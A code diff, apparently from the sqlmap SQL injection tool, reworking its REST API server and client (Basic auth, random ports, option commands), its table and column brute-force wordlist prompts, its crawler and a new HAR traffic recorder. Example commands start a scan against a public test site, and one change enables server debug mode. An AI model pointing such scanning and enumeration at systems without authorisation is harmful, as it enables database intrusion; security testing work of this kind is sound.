return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
@@ -533,12 +560,12 @@ def scan_status(taskid):
|
|||||||
"returncode": DataStore.tasks[taskid].engine_get_returncode()
|
"returncode": DataStore.tasks[taskid].engine_get_returncode()
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
@get("/scan/<taskid>/data")
|
@get("/scan/<taskid>/data")
|
||||||
def scan_data(taskid):
|
def scan_data(taskid):
|
||||||
"""
|
"""
|
||||||
Retrieve the data of a scan
|
Retrieve the data of a scan
|
||||||
"""
|
"""
|
||||||
|
|
||||||
json_data_message = list()
|
json_data_message = list()
|
||||||
json_errors_message = list()
|
json_errors_message = list()
|
||||||
|
|
||||||
@@ -547,16 +574,11 @@ def scan_data(taskid):
|
|||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
|
|
||||||
# Read all data from the IPC database for the taskid
|
# Read all data from the IPC database for the taskid
|
||||||
for status, content_type, value in DataStore.current_db.execute(
|
for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)):
|
||||||
"SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC",
|
json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)})
|
||||||
(taskid,)):
|
|
||||||
json_data_message.append(
|
|
||||||
{"status": status, "type": content_type, "value": dejsonize(value)})
|
|
||||||
|
|
||||||
# Read all error messages from the IPC database
|
# Read all error messages from the IPC database
|
||||||
for error in DataStore.current_db.execute(
|
for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)):
|
||||||
"SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC",
|
|
||||||
(taskid,)):
|
|
||||||
json_errors_message.append(error)
|
json_errors_message.append(error)
|
||||||
|
|
||||||
logger.debug("[%s] Retrieved scan data and error messages" % taskid)
|
logger.debug("[%s] Retrieved scan data and error messages" % taskid)
|
||||||
@@ -569,6 +591,7 @@ def scan_log_limited(taskid, start, end):
|
|||||||
"""
|
"""
|
||||||
Retrieve a subset of log messages
|
Retrieve a subset of log messages
|
||||||
"""
|
"""
|
||||||
|
|
||||||
json_log_messages = list()
|
json_log_messages = list()
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
@@ -583,10 +606,7 @@ def scan_log_limited(taskid, start, end):
|
|||||||
end = max(1, int(end))
|
end = max(1, int(end))
|
||||||
|
|
||||||
# Read a subset of log messages from the IPC database
|
# Read a subset of log messages from the IPC database
|
||||||
for time_, level, message in DataStore.current_db.execute(
|
for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)):
|
||||||
("SELECT time, level, message FROM logs WHERE "
|
|
||||||
"taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"),
|
|
||||||
(taskid, start, end)):
|
|
||||||
json_log_messages.append({"time": time_, "level": level, "message": message})
|
json_log_messages.append({"time": time_, "level": level, "message": message})
|
||||||
|
|
||||||
logger.debug("[%s] Retrieved scan log messages subset" % taskid)
|
logger.debug("[%s] Retrieved scan log messages subset" % taskid)
|
||||||
@@ -598,6 +618,7 @@ def scan_log(taskid):
|
|||||||
"""
|
"""
|
||||||
Retrieve the log messages
|
Retrieve the log messages
|
||||||
"""
|
"""
|
||||||
|
|
||||||
json_log_messages = list()
|
json_log_messages = list()
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
@@ -605,8 +626,7 @@ def scan_log(taskid):
|
|||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
|
|
||||||
# Read all log messages from the IPC database
|
# Read all log messages from the IPC database
|
||||||
for time_, level, message in DataStore.current_db.execute(
|
for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
|
||||||
"SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
|
|
||||||
json_log_messages.append({"time": time_, "level": level, "message": message})
|
json_log_messages.append({"time": time_, "level": level, "message": message})
|
||||||
|
|
||||||
logger.debug("[%s] Retrieved scan log messages" % taskid)
|
logger.debug("[%s] Retrieved scan log messages" % taskid)
|
||||||
@@ -619,6 +639,7 @@ def download(taskid, target, filename):
|
|||||||
"""
|
"""
|
||||||
Download a certain file from the file system
|
Download a certain file from the file system
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if taskid not in DataStore.tasks:
|
if taskid not in DataStore.tasks:
|
||||||
logger.warning("[%s] Invalid task ID provided to download()" % taskid)
|
logger.warning("[%s] Invalid task ID provided to download()" % taskid)
|
||||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||||
@@ -639,16 +660,26 @@ def download(taskid, target, filename):
|
|||||||
return jsonize({"success": False, "message": "File does not exist"})
|
return jsonize({"success": False, "message": "File does not exist"})
|
||||||
|
|
||||||
|
|
||||||
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER):
|
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
|
||||||
"""
|
"""
|
||||||
REST-JSON API server
|
REST-JSON API server
|
||||||
"""
|
"""
|
||||||
|
|
||||||
DataStore.admin_id = hexencode(os.urandom(16))
|
DataStore.admin_id = hexencode(os.urandom(16))
|
||||||
Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1]
|
DataStore.username = username
|
||||||
|
DataStore.password = password
|
||||||
|
|
||||||
|
_, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)
|
||||||
|
os.close(_)
|
||||||
|
|
||||||
|
if port == 0: # random
|
||||||
|
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
|
||||||
|
s.bind((host, 0))
|
||||||
|
port = s.getsockname()[1]
|
||||||
|
|
||||||
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
|
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
|
||||||
logger.info("Admin ID: %s" % DataStore.admin_id)
|
logger.info("Admin ID: %s" % DataStore.admin_id)
|
||||||
logger.debug("IPC database: %s" % Database.filepath)
|
logger.debug("IPC database: '%s'" % Database.filepath)
|
||||||
|
|
||||||
# Initialize IPC database
|
# Initialize IPC database
|
||||||
DataStore.current_db = Database()
|
DataStore.current_db = Database()
|
||||||
@@ -657,6 +688,9 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
|||||||
|
|
||||||
# Run RESTful API
|
# Run RESTful API
|
||||||
try:
|
try:
|
||||||
|
# Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref
|
||||||
|
# Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names
|
||||||
|
|
||||||
if adapter == "gevent":
|
if adapter == "gevent":
|
||||||
from gevent import monkey
|
from gevent import monkey
|
||||||
monkey.patch_all()
|
monkey.patch_all()
|
||||||
@@ -664,16 +698,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
|||||||
import eventlet
|
import eventlet
|
||||||
eventlet.monkey_patch()
|
eventlet.monkey_patch()
|
||||||
logger.debug("Using adapter '%s' to run bottle" % adapter)
|
logger.debug("Using adapter '%s' to run bottle" % adapter)
|
||||||
run(host=host, port=port, quiet=True, debug=False, server=adapter)
|
run(host=host, port=port, quiet=True, debug=True, server=adapter)
|
||||||
except socket.error, ex:
|
except socket.error, ex:
|
||||||
if "already in use" in getSafeExString(ex):
|
if "already in use" in getSafeExString(ex):
|
||||||
logger.error("Address already in use ('%s:%s')" % (host, port))
|
logger.error("Address already in use ('%s:%s')" % (host, port))
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
except ImportError:
|
except ImportError:
|
||||||
errMsg = "Adapter '%s' is not available on this system" % adapter
|
if adapter.lower() not in server_names:
|
||||||
if adapter in ("gevent", "eventlet"):
|
errMsg = "Adapter '%s' is unknown. " % adapter
|
||||||
errMsg += " (e.g.: 'sudo apt-get install python-%s')" % adapter
|
errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
|
||||||
|
else:
|
||||||
|
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
|
||||||
|
errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
def _client(url, options=None):
|
def _client(url, options=None):
|
||||||
@@ -682,7 +719,12 @@ def _client(url, options=None):
|
|||||||
data = None
|
data = None
|
||||||
if options is not None:
|
if options is not None:
|
||||||
data = jsonize(options)
|
data = jsonize(options)
|
||||||
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
|
headers = {"Content-Type": "application/json"}
|
||||||
|
|
||||||
|
if DataStore.username or DataStore.password:
|
||||||
|
headers["Authorization"] = "Basic %s" % ("%s:%s" % (DataStore.username or "", DataStore.password or "")).encode("base64").strip()
|
||||||
|
|
||||||
|
req = urllib2.Request(url, data, headers)
|
||||||
response = urllib2.urlopen(req)
|
response = urllib2.urlopen(req)
|
||||||
text = response.read()
|
text = response.read()
|
||||||
except:
|
except:
|
||||||
@@ -691,12 +733,14 @@ def _client(url, options=None):
|
|||||||
raise
|
raise
|
||||||
return text
|
return text
|
||||||
|
|
||||||
|
def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None):
|
||||||
def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
|
|
||||||
"""
|
"""
|
||||||
REST-JSON API client
|
REST-JSON API client
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
DataStore.username = username
|
||||||
|
DataStore.password = password
|
||||||
|
|
||||||
dbgMsg = "Example client access from command line:"
|
dbgMsg = "Example client access from command line:"
|
||||||
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port)
|
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port)
|
||||||
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
|
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
|
||||||
@@ -710,7 +754,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
|
|||||||
try:
|
try:
|
||||||
_client(addr)
|
_client(addr)
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
if not isinstance(ex, urllib2.HTTPError):
|
if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED:
|
||||||
errMsg = "There has been a problem while connecting to the "
|
errMsg = "There has been a problem while connecting to the "
|
||||||
errMsg += "REST-JSON API server at '%s' " % addr
|
errMsg += "REST-JSON API server at '%s' " % addr
|
||||||
errMsg += "(%s)" % ex
|
errMsg += "(%s)" % ex
|
||||||
@@ -738,12 +782,33 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
|
|||||||
logger.error("Failed to execute command %s" % command)
|
logger.error("Failed to execute command %s" % command)
|
||||||
dataToStdout("%s\n" % raw)
|
dataToStdout("%s\n" % raw)
|
||||||
|
|
||||||
|
elif command.startswith("option"):
|
||||||
|
if not taskid:
|
||||||
|
logger.error("No task ID in use")
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
command, option = command.split(" ")
|
||||||
|
except ValueError:
|
||||||
|
raw = _client("%s/option/%s/list" % (addr, taskid))
|
||||||
|
else:
|
||||||
|
options = {"option": option}
|
||||||
|
raw = _client("%s/option/%s/get" % (addr, taskid), options)
|
||||||
|
res = dejsonize(raw)
|
||||||
|
if not res["success"]:
|
||||||
|
logger.error("Failed to execute command %s" % command)
|
||||||
|
dataToStdout("%s\n" % raw)
|
||||||
|
|
||||||
elif command.startswith("new"):
|
elif command.startswith("new"):
|
||||||
if ' ' not in command:
|
if ' ' not in command:
|
||||||
logger.error("Program arguments are missing")
|
logger.error("Program arguments are missing")
|
||||||
continue
|
continue
|
||||||
|
|
||||||
argv = ["sqlmap.py"] + shlex.split(command)[1:]
|
try:
|
||||||
|
argv = ["sqlmap.py"] + shlex.split(command)[1:]
|
||||||
|
except Exception, ex:
|
||||||
|
logger.error("Error occurred while parsing arguments ('%s')" % ex)
|
||||||
|
taskid = None
|
||||||
|
continue
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdLineOptions = cmdLineParser(argv).__dict__
|
cmdLineOptions = cmdLineParser(argv).__dict__
|
||||||
@@ -795,17 +860,19 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
|
|||||||
return
|
return
|
||||||
|
|
||||||
elif command in ("help", "?"):
|
elif command in ("help", "?"):
|
||||||
msg = "help Show this help message\n"
|
msg = "help Show this help message\n"
|
||||||
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
|
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
|
||||||
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
||||||
msg += "data Retrieve and show data for current task\n"
|
msg += "data Retrieve and show data for current task\n"
|
||||||
msg += "log Retrieve and show log for current task\n"
|
msg += "log Retrieve and show log for current task\n"
|
||||||
msg += "status Retrieve and show status for current task\n"
|
msg += "status Retrieve and show status for current task\n"
|
||||||
msg += "stop Stop current task\n"
|
msg += "option OPTION Retrieve and show option for current task\n"
|
||||||
msg += "kill Kill current task\n"
|
msg += "options Retrieve and show all options for current task\n"
|
||||||
msg += "list Display all tasks\n"
|
msg += "stop Stop current task\n"
|
||||||
msg += "flush Flush tasks (delete all tasks)\n"
|
msg += "kill Kill current task\n"
|
||||||
msg += "exit Exit this client\n"
|
msg += "list Display all tasks\n"
|
||||||
|
msg += "flush Flush tasks (delete all tasks)\n"
|
||||||
|
msg += "exit Exit this client\n"
|
||||||
|
|
||||||
dataToStdout(msg)
|
dataToStdout(msg)
|
||||||
|
|
||||||
|
|||||||
@@ -57,8 +57,7 @@ def tableExists(tableFile, regex=None):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "are you sure you want to continue? [y/N] "
|
message = "are you sure you want to continue? [y/N] "
|
||||||
test = readInput(message, default="N")
|
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
|
||||||
kb.tableExistsChoice = test[0] in ("y", "Y")
|
|
||||||
|
|
||||||
if not kb.tableExistsChoice:
|
if not kb.tableExistsChoice:
|
||||||
return None
|
return None
|
||||||
@@ -70,15 +69,23 @@ def tableExists(tableFile, regex=None):
|
|||||||
|
|
||||||
if result:
|
if result:
|
||||||
errMsg = "can't use table existence check because of detected invalid results "
|
errMsg = "can't use table existence check because of detected invalid results "
|
||||||
errMsg += "(most probably caused by inability of the used injection "
|
errMsg += "(most likely caused by inability of the used injection "
|
||||||
errMsg += "to distinguish errornous results)"
|
errMsg += "to distinguish erroneous results)"
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
|
message = "which common tables (wordlist) file do you want to use?\n"
|
||||||
|
message += "[1] default '%s' (press Enter)\n" % tableFile
|
||||||
|
message += "[2] custom"
|
||||||
|
choice = readInput(message, default='1')
|
||||||
|
|
||||||
|
if choice == '2':
|
||||||
|
message = "what's the custom common tables file location?\n"
|
||||||
|
tableFile = readInput(message) or tableFile
|
||||||
|
|
||||||
infoMsg = "checking table existence using items from '%s'" % tableFile
|
infoMsg = "checking table existence using items from '%s'" % tableFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
|
||||||
tables.extend(_addPageTextWords())
|
tables.extend(_addPageTextWords())
|
||||||
tables = filterListValue(tables, regex)
|
tables = filterListValue(tables, regex)
|
||||||
|
|
||||||
@@ -114,7 +121,7 @@ def tableExists(tableFile, regex=None):
|
|||||||
threadData.shared.value.append(table)
|
threadData.shared.value.append(table)
|
||||||
threadData.shared.unique.add(table.lower())
|
threadData.shared.unique.add(table.lower())
|
||||||
|
|
||||||
if conf.verbose in (1, 2) and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not conf.api:
|
||||||
clearConsoleLine(True)
|
clearConsoleLine(True)
|
||||||
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
|
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
|
||||||
dataToStdout(infoMsg, True)
|
dataToStdout(infoMsg, True)
|
||||||
@@ -161,8 +168,7 @@ def columnExists(columnFile, regex=None):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "are you sure you want to continue? [y/N] "
|
message = "are you sure you want to continue? [y/N] "
|
||||||
test = readInput(message, default="N")
|
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
|
||||||
kb.columnExistsChoice = test[0] in ("y", "Y")
|
|
||||||
|
|
||||||
if not kb.columnExistsChoice:
|
if not kb.columnExistsChoice:
|
||||||
return None
|
return None
|
||||||
@@ -178,10 +184,19 @@ def columnExists(columnFile, regex=None):
|
|||||||
|
|
||||||
if result:
|
if result:
|
||||||
errMsg = "can't use column existence check because of detected invalid results "
|
errMsg = "can't use column existence check because of detected invalid results "
|
||||||
errMsg += "(most probably caused by inability of the used injection "
|
errMsg += "(most likely caused by inability of the used injection "
|
||||||
errMsg += "to distinguish errornous results)"
|
errMsg += "to distinguish erroneous results)"
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
|
message = "which common columns (wordlist) file do you want to use?\n"
|
||||||
|
message += "[1] default '%s' (press Enter)\n" % columnFile
|
||||||
|
message += "[2] custom"
|
||||||
|
choice = readInput(message, default='1')
|
||||||
|
|
||||||
|
if choice == '2':
|
||||||
|
message = "what's the custom common columns file location?\n"
|
||||||
|
columnFile = readInput(message) or columnFile
|
||||||
|
|
||||||
infoMsg = "checking column existence using items from '%s'" % columnFile
|
infoMsg = "checking column existence using items from '%s'" % columnFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -222,7 +237,7 @@ def columnExists(columnFile, regex=None):
|
|||||||
if result:
|
if result:
|
||||||
threadData.shared.value.append(column)
|
threadData.shared.value.append(column)
|
||||||
|
|
||||||
if conf.verbose in (1, 2) and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not conf.api:
|
||||||
clearConsoleLine(True)
|
clearConsoleLine(True)
|
||||||
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
|
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
|
||||||
dataToStdout(infoMsg, True)
|
dataToStdout(infoMsg, True)
|
||||||
+11
-10
@@ -20,6 +20,7 @@ from lib.core.common import getSafeExString
|
|||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeCSValue
|
from lib.core.common import safeCSValue
|
||||||
|
from lib.core.common import urldecode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -63,14 +64,14 @@ def crawl(target):
|
|||||||
if current:
|
if current:
|
||||||
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
|
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
|
||||||
except SqlmapConnectionException, ex:
|
except SqlmapConnectionException, ex:
|
||||||
errMsg = "connection exception detected (%s). skipping " % ex
|
errMsg = "connection exception detected (%s). skipping " % getSafeExString(ex)
|
||||||
errMsg += "URL '%s'" % current
|
errMsg += "URL '%s'" % current
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
except SqlmapSyntaxException:
|
except SqlmapSyntaxException:
|
||||||
errMsg = "invalid URL detected. skipping '%s'" % current
|
errMsg = "invalid URL detected. skipping '%s'" % current
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
except httplib.InvalidURL, ex:
|
except httplib.InvalidURL, ex:
|
||||||
errMsg = "invalid URL detected (%s). skipping " % ex
|
errMsg = "invalid URL detected (%s). skipping " % getSafeExString(ex)
|
||||||
errMsg += "URL '%s'" % current
|
errMsg += "URL '%s'" % current
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
@@ -87,7 +88,7 @@ def crawl(target):
|
|||||||
tags = soup('a')
|
tags = soup('a')
|
||||||
|
|
||||||
if not tags:
|
if not tags:
|
||||||
tags = re.finditer(r'(?si)<a[^>]+href="(?P<href>[^>"]+)"', content)
|
tags = re.finditer(r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content)
|
||||||
|
|
||||||
for tag in tags:
|
for tag in tags:
|
||||||
href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
|
href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
|
||||||
@@ -111,10 +112,10 @@ def crawl(target):
|
|||||||
threadData.shared.deeper.add(url)
|
threadData.shared.deeper.add(url)
|
||||||
if re.search(r"(.*?)\?(.+)", url):
|
if re.search(r"(.*?)\?(.+)", url):
|
||||||
threadData.shared.value.add(url)
|
threadData.shared.value.add(url)
|
||||||
except ValueError: # for non-valid links
|
|
||||||
pass
|
|
||||||
except UnicodeEncodeError: # for non-HTML files
|
except UnicodeEncodeError: # for non-HTML files
|
||||||
pass
|
pass
|
||||||
|
except ValueError: # for non-valid links
|
||||||
|
pass
|
||||||
finally:
|
finally:
|
||||||
if conf.forms:
|
if conf.forms:
|
||||||
findPageForms(content, current, False, True)
|
findPageForms(content, current, False, True)
|
||||||
@@ -130,8 +131,8 @@ def crawl(target):
|
|||||||
if not conf.sitemapUrl:
|
if not conf.sitemapUrl:
|
||||||
message = "do you want to check for the existence of "
|
message = "do you want to check for the existence of "
|
||||||
message += "site's sitemap(.xml) [y/N] "
|
message += "site's sitemap(.xml) [y/N] "
|
||||||
test = readInput(message, default="n")
|
|
||||||
if test[0] in ("y", "Y"):
|
if readInput(message, default='N', boolean=True):
|
||||||
found = True
|
found = True
|
||||||
items = None
|
items = None
|
||||||
url = urlparse.urljoin(target, "/sitemap.xml")
|
url = urlparse.urljoin(target, "/sitemap.xml")
|
||||||
@@ -187,7 +188,7 @@ def crawl(target):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
else:
|
else:
|
||||||
for url in threadData.shared.value:
|
for url in threadData.shared.value:
|
||||||
kb.targets.add((url, None, None, None, None))
|
kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))
|
||||||
|
|
||||||
storeResultsToFile(kb.targets)
|
storeResultsToFile(kb.targets)
|
||||||
|
|
||||||
@@ -198,8 +199,8 @@ def storeResultsToFile(results):
|
|||||||
if kb.storeCrawlingChoice is None:
|
if kb.storeCrawlingChoice is None:
|
||||||
message = "do you want to store crawling results to a temporary file "
|
message = "do you want to store crawling results to a temporary file "
|
||||||
message += "for eventual further processing with other tools [y/N] "
|
message += "for eventual further processing with other tools [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
kb.storeCrawlingChoice = test[0] in ("y", "Y")
|
kb.storeCrawlingChoice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if kb.storeCrawlingChoice:
|
if kb.storeCrawlingChoice:
|
||||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
|
||||||
|
|||||||
@@ -0,0 +1,229 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'doc/COPYING' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import BaseHTTPServer
|
||||||
|
import datetime
|
||||||
|
import httplib
|
||||||
|
import re
|
||||||
|
import StringIO
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.bigarray import BigArray
|
||||||
|
from lib.core.settings import VERSION
|
||||||
|
|
||||||
|
# Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html
|
||||||
|
# http://www.softwareishard.com/har/viewer/
|
||||||
|
|
||||||
|
class HTTPCollectorFactory:
|
||||||
|
def __init__(self, harFile=False):
|
||||||
|
self.harFile = harFile
|
||||||
|
|
||||||
|
def create(self):
|
||||||
|
return HTTPCollector()
|
||||||
|
|
||||||
|
class HTTPCollector:
|
||||||
|
def __init__(self):
|
||||||
|
self.messages = BigArray()
|
||||||
|
self.extendedArguments = {}
|
||||||
|
|
||||||
|
def setExtendedArguments(self, arguments):
|
||||||
|
self.extendedArguments = arguments
|
||||||
|
|
||||||
|
def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None):
|
||||||
|
self.messages.append(RawPair(requestMessage, responseMessage,
|
||||||
|
startTime=startTime, endTime=endTime,
|
||||||
|
extendedArguments=self.extendedArguments))
|
||||||
|
|
||||||
|
def obtain(self):
|
||||||
|
return {"log": {
|
||||||
|
"version": "1.2",
|
||||||
|
"creator": {"name": "sqlmap", "version": VERSION},
|
||||||
|
"entries": [pair.toEntry().toDict() for pair in self.messages],
|
||||||
|
}}
|
||||||
|
|
||||||
|
class RawPair:
|
||||||
|
def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None):
|
||||||
|
self.request = request
|
||||||
|
self.response = response
|
||||||
|
self.startTime = startTime
|
||||||
|
self.endTime = endTime
|
||||||
|
self.extendedArguments = extendedArguments or {}
|
||||||
|
|
||||||
|
def toEntry(self):
|
||||||
|
return Entry(request=Request.parse(self.request), response=Response.parse(self.response),
|
||||||
|
startTime=self.startTime, endTime=self.endTime,
|
||||||
|
extendedArguments=self.extendedArguments)
|
||||||
|
|
||||||
|
class Entry:
|
||||||
|
def __init__(self, request, response, startTime, endTime, extendedArguments):
|
||||||
|
self.request = request
|
||||||
|
self.response = response
|
||||||
|
self.startTime = startTime or 0
|
||||||
|
self.endTime = endTime or 0
|
||||||
|
self.extendedArguments = extendedArguments
|
||||||
|
|
||||||
|
def toDict(self):
|
||||||
|
out = {
|
||||||
|
"request": self.request.toDict(),
|
||||||
|
"response": self.response.toDict(),
|
||||||
|
"cache": {},
|
||||||
|
"timings": {
|
||||||
|
"send": -1,
|
||||||
|
"wait": -1,
|
||||||
|
"receive": -1,
|
||||||
|
},
|
||||||
|
"time": int(1000 * (self.endTime - self.startTime)),
|
||||||
|
"startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None
|
||||||
|
}
|
||||||
|
out.update(self.extendedArguments)
|
||||||
|
return out
|
||||||
|
|
||||||
|
class Request:
|
||||||
|
def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None):
|
||||||
|
self.method = method
|
||||||
|
self.path = path
|
||||||
|
self.httpVersion = httpVersion
|
||||||
|
self.headers = headers or {}
|
||||||
|
self.postBody = postBody
|
||||||
|
self.comment = comment.strip() if comment else comment
|
||||||
|
self.raw = raw
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def parse(cls, raw):
|
||||||
|
request = HTTPRequest(raw)
|
||||||
|
return cls(method=request.command,
|
||||||
|
path=request.path,
|
||||||
|
httpVersion=request.request_version,
|
||||||
|
headers=request.headers,
|
||||||
|
postBody=request.rfile.read(),
|
||||||
|
comment=request.comment,
|
||||||
|
raw=raw)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def url(self):
|
||||||
|
host = self.headers.get("Host", "unknown")
|
||||||
|
return "http://%s%s" % (host, self.path)
|
||||||
|
|
||||||
|
def toDict(self):
|
||||||
|
out = {
|
||||||
|
"httpVersion": self.httpVersion,
|
||||||
|
"method": self.method,
|
||||||
|
"url": self.url,
|
||||||
|
